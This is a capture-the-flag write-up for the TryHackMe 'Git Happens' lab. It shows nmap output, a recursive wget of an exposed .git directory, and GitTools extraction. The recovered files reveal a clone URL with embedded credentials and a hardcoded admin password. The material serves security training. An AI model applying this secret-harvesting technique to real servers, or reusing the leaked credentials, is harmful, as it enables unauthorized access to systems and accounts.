mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
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110 lines
4.4 KiB
Markdown
110 lines
4.4 KiB
Markdown
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# TryHackMe-Git Happens
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## NMAP
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```
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Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-08 20:16 PKT
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Nmap scan report for 10.10.116.239
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Host is up (0.16s latency).
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Not shown: 999 closed ports
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PORT STATE SERVICE VERSION
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80/tcp open http nginx 1.14.0 (Ubuntu)
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| http-git:
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| 10.10.116.239:80/.git/
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| Git repository found!
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|_ Repository description: Unnamed repository; edit this file 'description' to name the...
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|_http-server-header: nginx/1.14.0 (Ubuntu)
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|_http-title: Super Awesome Site!
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Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
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Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
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Nmap done: 1 IP address (1 host up) scanned in 25.52 seconds
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```
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## PORT 80
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We found `/.git/`
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<img src="https://imgur.com/CZXdc27.png"/>
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Use wget to recursively download all git files on your local machines so you can view them easily
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`wget -r http://10.10.116.239/.git/`
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```
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2020-11-08 20:29:57 (2.30 MB/s) - ‘10.10.116.239/.git/refs/heads/master’ saved [41/41]
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--2020-11-08 20:29:57-- http://10.10.116.239/.git/logs/refs/heads/master
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Reusing existing connection to 10.10.116.239:80.
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HTTP request sent, awaiting response... 200 OK
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Length: 216 [application/octet-stream]
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Saving to: ‘10.10.116.239/.git/logs/refs/heads/master’
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10.10.116.239/.git/logs/refs 100%[===========================================>] 216 --.-KB/s in 0s
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2020-11-08 20:29:57 (13.0 MB/s) - ‘10.10.116.239/.git/logs/refs/heads/master’ saved [216/216]
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FINISHED --2020-11-08 20:29:57--
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```
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We find somthing interesting
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```
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root@kali:~/TryHackMe/Easy/Git Happens/git files/logs# cat HEAD
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0000000000000000000000000000000000000000 d0b3578a628889f38c0affb1b75457146a4678e5 root <root@ubuntu.(none)> 1595543975 +0200 clone: from https://hydragyrum:kMhJnM42EHdTN7MXNWeD@gitlab.com/cfe-atc/seccom/git-fail.git
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```
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But I can't crack the SHA-1 hash
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## GitTools
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I then came across gittools that may dump from a remote location and then can extract useful information from the files
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### Dumper
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<img src="https://imgur.com/8pxycEZ.png"/>
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### Extractor
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<img src="https://imgur.com/eDinwXb.png"/>
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Here we can find `index.html`
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```
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root@kali:~/TryHackMe/Easy/Git/temp/8-395e087334d613d5e423cdf8f7be27196a360459# ls -al
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total 28
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drwxr-xr-x 3 root root 4096 Nov 8 21:36 .
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drwxr-xr-x 11 root root 4096 Nov 8 21:36 ..
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-rw-r--r-- 1 root root 241 Nov 8 21:36 commit-meta.txt
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drwxr-xr-x 2 root root 4096 Nov 8 21:36 css
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-rw-r--r-- 1 root root 677 Nov 8 21:36 dashboard.html
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-rw-r--r-- 1 root root 2667 Nov 8 21:36 index.html
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-rw-r--r-- 1 root root 54 Nov 8 21:36 README.md
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```
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And we will get the password
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```
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<script>
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function login() {
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let form = document.getElementById("login-form");
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console.log(form.elements);
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let username = form.elements["username"].value;
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let password = form.elements["password"].value;
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if (
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username === "admin" &&
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password === "Th1s_1s_4_L0ng_4nd_S3cur3_P4ssw0rd!"
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) {
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document.cookie = "login=1";
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window.location.href = "/dashboard.html";
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} else {
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document.getElementById("error").innerHTML =
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"INVALID USERNAME OR PASSWORD!";
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}
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}
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</script>
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</body>
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```
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